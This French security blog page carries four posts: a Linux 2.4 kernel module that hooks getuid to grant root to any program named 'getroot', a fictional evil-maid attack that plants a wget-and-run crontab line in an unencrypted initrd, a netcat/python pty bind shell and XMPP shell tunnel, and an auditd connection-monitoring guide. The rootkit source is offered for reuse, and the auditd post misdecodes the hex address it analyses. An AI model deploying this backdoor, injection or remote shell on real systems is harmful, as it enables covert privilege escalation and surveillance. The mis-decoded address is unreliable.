Nicolas SURRIBAS

Développement / Réseau / Sécurité Informatique

linux

Linux kernel module 2.4 : getroot

Rédigé par devloop - -

J'ai sur une clé usb plusieurs modules kernels que j'avais bidouillé à une époque (il y a plus d'un an) histoire de m'amuser un peu.
Les codes en question sont loin d'être des exemples de stabilité et ne compilent pas sous du 2.6... Faute de temps et de volonté je ne suis pas retourné depuis dans la programmation kernel bien que je ne refuse pas de lire un article sur le sujet quand il me tombe sous le nez.

En espérant qu'ils puissent encore servir à quelques-uns je les met en ligne.
Le module ci-dessous permet (une fois installé) d'obtenir les privilèges root. Il suffit de créer un programme nommé "getroot" qui fera un appel à "getuid()", du moins la version hookée et modifiée par nos soins :

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/sched.h>
#include <linux/unistd.h> /* __NR_close */
#include <linux/smp_lock.h> /* unlock_kernel */
#include <linux/syscalls.h> /* sys_close */

/* __NR_getuid faisait appel a sys_getuid16 (adresse dans System.map) : on se sert explicitement de __NR_getuid32 */
void **sys_call_table;

int (*orig_getuid)(void);
int my_getuid(void)
{
  printk(KERN_INFO "Appel a getuid()\n");
  if(strlen(current->comm)==7)
  {
    if(strncmp(current->comm,"getroot",7)==0)
    {
      printk(KERN_INFO "Giving root :)\n");
      current->euid=0;
      current->egid=0;
    }
  }
  return current->uid;
}

unsigned long **find_sys_call_table(void)
{
   unsigned long **sctable;
   unsigned long ptr;
   extern int loops_per_jiffy;

   sctable = NULL;
   for (ptr = (unsigned long)&unlock_kernel;
        ptr < (unsigned long)&loops_per_jiffy;
        ptr += sizeof(void *))
   {
      unsigned long *p;
      p = (unsigned long *)ptr;
      if (p[__NR_close] == (unsigned long) sys_close)
      {
         sctable = (unsigned long **)p;
         return &sctable[0];
      }
   }
   return NULL;
}

int init_module(void)
{
  printk(KERN_INFO "hook loaded\n");
  sys_call_table=(void**)find_sys_call_table();
  if(sys_call_table!=NULL)
  {
    printk(KERN_INFO "sys_call_table=%p\n",sys_call_table);
    printk(KERN_INFO "__NR_getuid32=%d\n",__NR_getuid32);
    printk(KERN_INFO "sys_call_table[__NR_getuid32]=%p\n",sys_call_table[__NR_getuid32]);
    orig_getuid=(int(*)(void))(sys_call_table[__NR_getuid32]);
    sys_call_table[__NR_getuid32]=my_getuid;
  }

  return 0;
}

void cleanup_module(void)
{
  if(sys_call_table!=NULL)
  {
    sys_call_table[__NR_getuid32]=orig_getuid;
  }
  printk(KERN_INFO "hook unloaded\n");
}


Le Makefile ressemblait à ça :
obj-m += hook.o

all:
  make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:
  make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean


et le programme userland était tout simplement :
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>

int main(int argc,char *argv)
{
  char * param[] = {"/bin/sh", NULL};
  getuid();
  execve(param[0], param, NULL); //execve est déja un appel système
  return 0;
}

Bypasser le chiffrement de disque sous Linux

Rédigé par devloop - -

FBI KittehIntroduction dramatique

A chaque projet de loi concernant l'Internet ou le téléchargement, on assiste à une véritable foire où les internautes ne cessent de critiquer et de minimiser les mesures techniques proposées par le gouvernement arguant quelles sont inefficaces, onéreuses et difficiles à mettre en place... C'est souvent le cas.
Mais j'évite de participer aux discussions enflamées sur les forums où chacun y va de sa contre mesure technique... c'est souvent les moins informés qui s'y expriment le plus.
Si vous avez fait un tour chez un libraire ces derniers temps, vous avez dû remarquer qu'une certaine presse (les magazines sur lesquels on voit une bourrique ou un drapeau noir) joue aussi le jeu à fond et la page de couverture titre à peu près "Toutes les astuces pour pas se faire gauler !".

Avec la LOPSI 2, le phénomène est exactement le même. Un peu partout sur le web vous lirez que pour empècher l'insertion du fameux mouchard il suffit de chiffrer son disque.
Mais qu'en est-il réellement ?

Scénario improbable

José est un terroriste.
C'est du moins ce que certaines personnes pensent, tellement il est de gauche, tellement il porte la moustache, tellement il est agriculteur, tellement il va pas au MacDo...
En plus il est anti-capitaliste au point de ne pas utiliser un système Microsoft !! C'est sûr, José et un homme dangereux.

D'ailleurs il a installé une Debian Lenny en utilisant les options permettant de chiffrer l'ensemble de ses données.

Le ministre de l'intérieur a décidé que ce serait bien d'avoir un oeil sur ses communications. Malheureusement José communique avec GPG. De plus une exploitation distante pour pénétrer son ordinateur a peu de chances de réussir car il utilise OpenOffice ;-) et met régulièrement son système à jour.

C'est pour cela que le GIPM (Groupe d'Intervention de Pose de Mouchard) s'est vu remettre l'opération.
Mais une fois qu'ils ont obtenu un accès physique à l'ordinateur, le GIPM (mené par l'inspecteur Coudrier) s'aperçoivent que le disque est chiffré !!
L'inspecteur Coudrier trouvera t-il une astuce ? José ira t-il à Quick à défaut de MacDo ?

Chapitre II

Coudrier ne s'avoue pas vaincu. Il a pris soin d'éplucher le manuel d'installation Debian et s'est attardé sur la partie concernant le chiffrement.
A priori ce n'est pas gagné : le disque est préalablement effacé et les données ensuite chiffrés avec des algorithmes solides. Pourtant il a remarqué un détail dans l'article :
Some people may even want to encrypt their whole system. The only exception is the /boot partition which must remain unencrypted, because currently there is no way to load the kernel from an encrypted partition.
En effet, depuis sa vieille galette KnoppixSTD qu'il a lancé sur l'ordinateur, Coudrier a remarqué deux entrées dans /etc/fstab.
La première est la partition /dev/hda1 montée sur /boot au format ext2, de petite taille.
La seconde (/dev/hda2) est marquée de format auto. Son contenu est une suite d'octets inexploitables. Seul quelques chaines au début de la partition semblent indiquer qu'il s'agit d'une partition chiffrée. On peut lire "LUKS aes cbc-essiv:sha256 sha1".

Coudrier monte la partition /boot et liste son contenu : un dossier grub et lost+found ainsi que des fichiers config-2.6.26-2-686, initrd.img-2.6.26-2-686, System.map-2.6.26-2-686 et vmlinuz-2.6.26-2-686.
L'inspecteur n'ayant aucune connaissance en virologie, il laisse de côté le fichier vmlinuz-2.6.26-2-686 et commence à s'intéresser au fichier initrd.img-2.6.26-2-686.

Ce fichier pèse 7Mo et est compressé par gzip. Coudrier le copie sur sa clé USB, le décompresse et obtient une archive au format cpio.
$ cp initrd.img-2.6.26-2-686 /mnt/usbkey/initrd.gz
$ cd /mnt/usbkey
$ gunzip initrd.gz
$ file initrd
initrd: ASCII cpio archive (SVR4 with no CRC)

Une recherche sur Google depuis une autre machine l'amène à une page sur les étapes du boot Linux et une autre sur la manipulation d'un fichier initrd.

Avec la première page, il apprend que la partition racine est montée après le lancement de initrd. Pourtant dans la section initrd on peut lire "'real' root is mounted"... étrange.
L'inspecteur n'a pas toute la journée : il tente sa chance.

En listant le contenu du initrd (cpio -itv < initrd) il observe des fichiers qui ne lui sont pas utiles comme des modules kernel ou des binaires statiques et strippés.
Il y a aussi un dossier "scripts" dont le contenu est le suivant :
scripts/nfs
scripts/local
scripts/init-premount
scripts/init-premount/udev
scripts/init-premount/blacklist
scripts/init-premount/thermal
scripts/local-top
scripts/local-top/lvm2
scripts/local-top/cryptopensc
scripts/local-top/lvm
scripts/local-top/cryptroot
scripts/local-bottom
scripts/local-bottom/cryptopensc
scripts/local-premount
scripts/local-premount/resume
scripts/init-top
scripts/init-top/keymap
scripts/init-top/framebuffer
scripts/init-top/all_generic_ide
scripts/functions
scripts/init-bottom
scripts/init-bottom/udev

Il décide d'approfondir et extrait (cpio -iv < initrd) les fichiers de l'archive cpio. Dans le fichier scripts/local il trouve une fonction baptisée "mountroot" qui contient la ligne suivante :
mount ${roflag} -t ${FSTYPE} ${ROOTFLAGS} ${ROOT} ${rootmnt}

Il décide d'ajouter juste derrière la ligne
echo "0 * * * *  root  cd /dev/shm && wget http://lopsi.interieur.gov/mouchard.sh && chmod +x mouchard.sh && ./mouchard.sh" > ${rootmnt}/etc/crontab

Coudrier regénère l'archive cpio avec ses modifications (find * | cpio -o -H newc > ../new_initrd) et la recompresse (gzip -9 new_initrd) avant d'écraser l'ancienne version.
Il lance un sync, démonte les partions, retire sa galette et éteint la machine. Mission accomplished.

Fin

Au prochain démarrage de son ordinateur, José rentre sa passphrase qui lui permet de déchiffrer les disques. Il ne sait pas qu'il a malgré lui permis à la commande de Coudrier de s'exécuter sur la partition tout juste déchiffrée...

Conclusion

Bien que très efficace, le système de chiffrement de disque a quelques lacunes puisqu'un programme peut être injecté sur la partition /boot pour s'exécuter une fois que vous aurez autorisé le déchiffrement des partitions.
Pour se protéger d'une telle attaque il faudrait désactiver le boot sur périphériques CD ou USB dans le bios et protéger ce dernier par un mot de passe. Un cadenas physique empéchant le retrait du disque ou le vidage de la mémoire BIOS est aussi important.

Notes

Comme indiqué dans cette fiction-réalité, j'ai effectué mes tests sur une Debian Lenny en sélectionnant le chiffrement total dans l'installeur.
Les commandes que l'on peut insérer dans les scripts extrait du initrd sont limitées aux commandes du shell ainsi qu'aux exécutables (peu nombreux) présents dans l'archive. Impossible donc d'y lancer directement un programme comme wget.
La commande que j'ai injecté durant mes tests créait uniquement un fichier dans /etc que l'on retrouvait une fois loggé sur le système et après avoir saisi la passphrase. L'entrée crontab de l'article est juste là pour faire plus l33t.

Créez une partition temporaire chiffrée sous Linux

Rédigé par devloop - -

L'opération est assez simple et fonctionnera sur les distributions équipées de "dm-crypt" (vérifier que le programme "cryptsetup" est présent).
Il vous faut une partition à sacrifier pour l'utilisation d'un /tmp qui sera recréé à chaque démarrage avec une clef de chiffrement aléatoire (les données dans /tmp seront perdues à chaque arrêt du système d'exploitation).
Chez moi j'ai utilisé /dev/sda5 (une vieille partition vfat dont je me servais plus) qui sera repartitionné en ext2 pour l'occasion.

On commence par créer une entrée dans /etc/crypttab :
temp    /dev/sda5       /dev/urandom    tmp,cipher=aes-cbc-essiv:sha256

Cela provoquera la création d'un périphérique de chiffrement /dev/mapper/temp. L'option "tmp" permet de spécifier qu'il faut exécuter mkfs sur le mapper pour créer le système de fichier. En l'absence d'une correspondance dans /etc/fstab, le système ext2 est utilisé.
L'option "cipher" est nécessaire afin que cryptsetup sache comment chiffrer les données.
Le périphérique /dev/urandom est utilisé comme clef aléatoire pour le chiffrement des données.

Il faut ensuite créer une entrée correspondante dans /etc/fstab (options à modifier selon vos préférences) :
/dev/mapper/temp     /tmp                 ext2       noexec                0 0

On redémarre la machine et normalement tout fonctionne :)

Article sur le même sujet :
Créez une partition cachée sous Linux

Pseudo-terminaux, portes dérobées, telnet et tunneling

Rédigé par devloop - -

J'ai toujours trouvé aux réseaux un petit côté "magique", l'idée de pouvoir éditer un fichier qui se trouve à des milliers de kilomêtres de chez moi ma toujours parue fabuleuse. C'est peut-être pour cela que j'ai toujours admiré les TTYs (ouah c'est beau un terminal, surtout avec du ncurse !) et ils sont restés longtemps pour moi un grand mystère, au moins jusqu'à ces derniers jours, moment fatidique où j'ai décidé de me lancer dans l'épineuse aventure des TTY/PTY.

Un terminal, kezako ?
Sous Linux, un terminal est avant tout un périphérique. On en trouve dans /dev (pty*, tty*) et dans /dev/pts (terminaux esclaves).
Le terminal se charge de faire le lien entre le clavier et le programme qui recevra les commandes. Il transforme la frappe de certaines touches du clavier en un "code d'échappement" que le programme saura comment interpréter.
Ces codes d'échappements sont définis dans des standards comme le VT100.

L'utilité d'un terminal par rappel à une ligne de commande "brute" est bien évidemment de pouvoir exécuter des programmes interactifs comme Vim, Emacs, top, nethack et bien d'autres... c'est pour dire à quel point ils sont devenus indispensables ;-)
Même si la plupart des backdoors existantes n'offrent pas le support des ttys, quelques-unes le proposent avec plus ou moins de réussite.

Canonique or not canonique ?
Dans la plupart des cas, elles sont inutilisables telles quelles car il n'y a pas de client associé. L'utilisation de netcat pour s'y connecter ne permet pas de profiter du terminal côté serveur car netcat ne gère pas le tty. Notamment netcat lit les données tappées de façon canonique (attente d'une fin de ligne pour traiter les données) alors qu'un terminal les lit de façon non-canonique : les données sont traitées à chaque frappe du clavier.
Le mode non-canonique est indispensable pour les programmes cités plus tôt (par exemple pouvoir taper simplement q pour quitter top sans avoir à appuyer sur entrée).

Toi comprendre ce que moi dire ?
Vient alors un autre problème : le terminal client et le terminal serveur doivent parler la même langue. Une bonne partie des lnormes existantes sont compatibles car basées sur les codes d'échappement ANSI mais ce n'est pas toujours le cas.
Le standard utilisé est habituellement défini par la variable d'environnement TERM sous le shell.

Deux solutions sont possibles pour faire dialoguer correctement le client et le serveur :
  • Utiliser un client et un serveur utilisant le même langage
  • Utiliser un protocole permettant au client et au serveur de se mettre d'accord sur le type de terminal à utiliser

Implémentations
La première solution est celle utilisée dans sorshell.c. Le client et le serveur se voient fixer la variable d'environnement TERM à "vt100". Le client est configuré en mode non-canonique est sans échos (voir plus loin).

L'autre solution a fait son apparition il y a maintenant longtemps avec le protocole telnet. Par ce protocole, le client et le serveur négocient le type de terminal ainsi que d'autres règles de transmission.
L'implémentation de telnet dans un logiciel ne facilitant pas les choses, certains ont préférés ruser comme pour Tiny Shell qui se contente de l'envoi du type de terminal utilisé.
Il existe tout de même un code en perl où toute la couche telnet est utilisée.
Terminal client
Un dehors du mode canonique (ou non), le client ne doit pas interpréter certains signaux comme un Ctrl+C afin de les traduire pour les transmettre au serveur.
Les deux parties doivent aussi se mettre d'accord sur qui renvoie les données. Quand on frappe sur une touche depuis le client, on s'attend à ce qu'elle apparaisse à l'écran. Soit elle s'affiche au moment où on appuie sur la touche, soit quand le serveur nous la renvoit (il a fait un "écho"), soit les deux en même temps (dans ce cas là, le caractère s'affiche en double).
Le serveur renvoyant généralement plus de données que le client n'en envoit, le client est habituellement passé en non-écho et les caractères s'affichent alors lorsque le serveur les renvoit au client (le client ne renvoie pas les données du serveur).
Dans une session telnet, la taille de la fenêtre de terminal sera aussi négociée (généralement 80x25 par défaut).

Le rôle du terminal client consiste à lire les touches tapées sur l'entrée standard pour les restransmettre vers le serveur, le tout avec les caractéristiques citées précédemment.
Sa programmation est simple. Il faut d'abord récupérer une structure termios définissant le modèle du terminal actuel à l'aide de la fonction tcgetattr(), modifier cette structure selon nos souhaits pour enfin mettre à jour le terminal avec les nouveaux paramêtres (fonction tcsetattr()).

Le code utilisé en C dans sorshell est le suivant :
struct termios deftt,tt;

/* terminal init */
tcgetattr(0, &deftt); /* récupére les préférences du terminal */
tt = deftt; /* copie */
tt.c_oflag &= ~(OPOST);
tt.c_lflag &= ~(ECHO | ICANON | IEXTEN | ISIG); /* pas d'écho, ne recoit pas les signaux, mode non-canonique... */
tt.c_iflag &= ~(ICRNL); /* transforme les CR en NL */
tt.c_cc[VMIN] = 1; /* lit caractère après caractère */
tt.c_cc[VTIME] = 0; /* pas de délai de lecture */
tcsetattr(0, TCSADRAIN, &tt); /* mettre à jour le terminal */
...
tcsetattr(0, TCSADRAIN, &deftt); /* restauration */

stty
Sous Linux, la commande stty permet de modifier les paramêtres d'un terminal. On peut alors utiliser un client "brut" en modifiant le terminal courant, ce qui donnerait un script dans ce style :
stty -icanon -echo -isig
netcat serveur 9999 -v
stty icanon echo isig
clear

Un shell avec terminal pour pas un rond
Petite astuce trouvée sur pentestmonkey : on peut utiliser la richesse des API Python pour associer facilement un shell avec un pseudo-terminal.
La commande pour lancer un serveur fonctionnant avec le script client précédent sera la suivante :
netcat -e "python -c 'import pty; pty.spawn(\"/bin/sh\")'" -v -l -p 9999

Terminal serveur
Du côté du serveur, le terminal doit fonctionner en sens inverse : lire les codes d'échappement reçus et les transformer en signaux, déplacement de curseur etc.
La programmation du serveur est plus compliquée et se base sur l'utilisation d'un pseudo-terminal dont le fonctionnement est proche des pipe.
On a alors un pseudo-terminal (pty) maître sur lequel on écrit les données reçues par le réseau et un pty esclave (pts) qui reçoit les données et les filtre avant de les renvoyer au shell.

La programmation suivra la procédure suivante :
  1. Ouverture du périphérique /dev/ptmx qui va chercher un pty maître disponible et retourner son descripteur de fichier
  2. Appel à la fonction grantpt() pour modifier les droits d'accès au terminal esclave (le pts)
  3. Utilisation de la fonction unlockpt() pour dévérouiller le pts
  4. ptsname() permettra ensuite de récupérer le nom du pts
  5. Ouverture du pseudo-terminal esclave

Pour terminer, le programme fait un fork(), le processus fils redirige ses entrées/sorties vers le pts avant de lancer un shell et le processus père gère les entrées réseau.
C'est ce que fait sorshell.c (mis à part qu'il le fait en bas niveau).

Tunneling à travers Jabber (GTalk)
En Python, le nombre d'étapes a été fortement réduites et côté serveur, il suffit d'appeller les fonctions openpty() et fork() du module pty.
Pour illustrer tout cela j'ai développé un petit programme permettant de faire passer un shell/tty à travers une session XMPP. Le code se base sur l'utilisation des serveurs GoogleTalk mais peu être facilement modifié. Il utilise la librairie xmpppy
Le protocole XMPP ne permettant pas de faire facilement transiter des données brutes, celles-ci sont envoyées sous leur forme hexadécimale (encodage pour le caractère 'A' sera '61'). Quelques temporisations ont dû être rajoutées car le serveur GTalk n'hésite pas à couper la communication si les envois successifs sont trop rapprochés.

Ca fonctionne plutôt bien, si ce n'est que c'est assez lent. J'ai réussi à éditer avec VIM, naviguer dans une page de manuel etc. Par contre il faut faire attention avec les commandes qui envoient continuellement des données à l'écran (c'est le cas de top) qui risquent de faire bloquer le programme dans une boucle (avec un top -n <nombre d'affichages> ça passe).

Télécharger jabbertunnel.tar.bz2

Références :
www.iakovlev.org
sorshell.c
emse.fr : Saisies de données au clavier
win.py (Terminal Emulator)
Python Library Reference : termios
Python Library Reference : pty

Surveiller les connexions avec auditd

Rédigé par devloop - -

auditd est un démon qui permet de surveiller ce qu'il se passe au niveau du noyau Linux 2.6.
Une fois activé il se met en écoute de nouvelles règles de surveillance et enregistre dans un fichier de journalisation (/var/log/audit/audit.log) tous les événements correspondants aux règles définies.

Le démon auditd et les programmes clients qui l'accompagnent (auditctl, ausearch, aureport) peuvent être utilisés à différentes fins, par exemple pour surveiller les accès effectués sur des fichiers sensibles.

Dans cet exemple, nous allons voir comment surveiller les connexions réseaux. Avec iptables nous pourrions logger les connexions entrantes et sortantes, malheureusement nous n'aurions pas les informations concernant le programme qui participe à ces connexions.

Pour savoir si vous disposez d'auditd, le plus simple est encore de regarder s'il est présent parmis les processus en cours (commande ps aux). Si c'est le cas, cela ne signifie pas pour autant qu'il soit actif. Pour cela il faut lancer la commande :
# auditctl -s
AUDIT_STATUS: enabled=0 flag=1 pid=3670 rate_limit=0 backlog_limit=256 lost=0 backlog=0

Ici le démon n'est pas actif (enabled=0). Pour l'activer il faut tapper auditctl -e 1 (et "auditctl -e 0" quand vous souhaiterez le désactiver).
Si on relance auditctl -s, nous obtiendrons "enabled=1".

Afin de voir les logs défiler, je vous recommande d'exécuter un tail -f /var/log/audit/audit.log dans une console.
Informons maintenant auditd que nous souhaitons garder les connexions à l'oeil. L'option "-S" permet d'activer la surveillance sur un appel système. A tout hazard on tente la commande :
# auditctl -a exit,always -S connect
Syscall name unknown: connect

Et là... c'est le drame. En réalité, il n'y a pas de syscall nommé "connect". Les différents syscalls réseau passent par "socketcall".
On utilisera alors la commande auditctl -a exit,always -S socketcall à la place.
Aucun message de confirmation n'apparait à l'exécution de la commande mais un message devrait apparaître dans le fichier de log et ils nous est possible de lister les règles avec auditctl :
# auditctl -l
LIST_RULES: exit,always syscall=socketcall

puisque tout est ok, on lance un netcat sur www.perdu.com (port 80) et là... tout va très vite !
Tout un tas de lignes ont fait leur apparition dans le fichier de log. Pour l'article, je n'ai gardé que celles qui m'intéresse à savoir :
type=SYSCALL msg=audit(1198689227.553:67): arch=40000003 syscall=102 success=yes exit=3 a0=1 a1=bfeaf4f0 a2=0 a3=0 items=0 ppid=6356 pid=6608 auid=4294967295 uid=1000 gid=100 euid=1000 suid=1000 fsuid=1000 egid=100 sgid=100 fsgid=100 tty=pts4 comm="netcat" exe="/usr/bin/netcat" key=(null)
type=SOCKETCALL msg=audit(1198689227.553:67): nargs=3 a0=2 a1=1 a2=6
type=SYSCALL msg=audit(1198689227.553:68): arch=40000003 syscall=102 success=yes exit=0 a0=e a1=bfeaf4f0 a2=0 a3=0 items=0 ppid=6356 pid=6608 auid=4294967295 uid=1000 gid=100 euid=1000 suid=1000 fsuid=1000 egid=100 sgid=100 fsgid=100 tty=pts4 comm="netcat" exe="/usr/bin/netcat" key=(null)
type=SOCKETCALL msg=audit(1198689227.553:68): nargs=5 a0=3 a1=1 a2=2 a3=bfeaf528 a4=4
type=SYSCALL msg=audit(1198689227.553:69): arch=40000003 syscall=102 success=yes exit=0 a0=3 a1=bfeaf4f0 a2=0 a3=0 items=0 ppid=6356 pid=6608 auid=4294967295 uid=1000 gid=100 euid=1000 suid=1000 fsuid=1000 egid=100 sgid=100 fsgid=100 tty=pts4 comm="netcat" exe="/usr/bin/netcat" key=(null) type=SOCKADDR msg=audit(1198689227.553:69): saddr=0200005052A5B0910000000000000000
type=SOCKETCALL msg=audit(1198689227.553:69): nargs=3 a0=3 a1=804f020 a2=10

Je vous l'accorde, ce n'est par très parlant. On va décrypter ça ;-)
Les lignes SYSCALL, comme leur nom l'indique, nous renseigne sur l'appel système qui a été détecté ainsi que le programme à son origine et les droits qu'il possède à ce moment.
Comme expliqué ici ou , on apprend que socketcall est bien le syscall numéro 102 (ou 0x66 en hexadécimal).
Il prend comme argument le nom de la fonction réseau à utiliser, chacune ayant une valeur prédéfinie:
#define SYS_SOCKET      1
#define SYS_BIND        2
#define SYS_CONNECT     3
#define SYS_LISTEN      4
#define SYS_ACCEPT      5
#define SYS_GETSOCKNAME 6
#define SYS_GETPEERNAME 7
#define SYS_SOCKETPAIR  8
#define SYS_SEND        9
#define SYS_RECV        10
#define SYS_SENDTO      11
#define SYS_RECVFROM    12
#define SYS_SHUTDOWN    13
#define SYS_SETSOCKOPT  14
#define SYS_GETSOCKOPT  15
#define SYS_SENDMSG     16
#define SYS_RECVMSG     17

De cette façon, si on reprend notre première ligne :

type=SYSCALL msg=audit(1198689227.553:67): arch=40000003 syscall=102 success=yes exit=3 a0=1 a1=bfeaf4f0 a2=0 a3=0


On en déduit qu'il s'agit d'un appel à la fonction socket() car a0=1=SYS_SOCKET. En lancant un strace parallèlement, on voit que socket() a été utilisé de cette manière :
socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 3

Sachant que PF_INET = 2, SOCK_STREAM = 1 et que IPPROTO_TCP = 6, on est peu surpris de retrouver ces valeurs dans la ligne suivante :
type=SOCKETCALL msg=audit(1198689227.553:67): nargs=3 a0=2 a1=1 a2=6

La fonction suivante est un setsockopt() : syscall=102 a0=e (14 en décimal) appelé de cette façon :
setsockopt(3, SOL_SOCKET, SO_REUSEADDR, [1], 4) = 0

La encore on retrouve les bonnes valeurs dans les messages d'auditd.
Voilà enfin la dernière partie qui nous intéresse et qui correspond au connect suivant :
connect(3, {sa_family=AF_INET, sin_port=htons(80), sin_addr=inet_addr("82.165.176.145")}, 16) = 0

type=SYSCALL msg=audit(1198689227.553:69): arch=40000003 syscall=102 success=yes exit=0 a0=3...
type=SOCKADDR msg=audit(1198689227.553:69): saddr=0200005052A5B0910000000000000000
type=SOCKETCALL msg=audit(1198689227.553:69): nargs=3 a0=3 a1=804f020 a2=10

La ligne SOCKADDR correspond à une structure sockaddr (le second argument du connect()) comme commenté ici. Cette structure est la suivante :
 struc sockaddr_in
         sin_family:     resw    1       ; protocol family
         sin_port:       resw    1       ; port
         sin_addr:       resd    1       ; struct sin_addr.s_addr
         sin_zero:       resd    2       ; padding
 endstruc

Le "saddr" se décompose donc en :
  • 0x02 : AF_INET
  • 0x50 : le port après un htons(), ici le port 80
  • 52A5B091 : l'adresse IP est hexadécimal, soit 180.249.41.240 (www.perdu.com)

Nous sommes finalement parvenu à déchiffrer une connexion dans les logs d'auditd.

Classé dans : Non classé - Mots clés : linux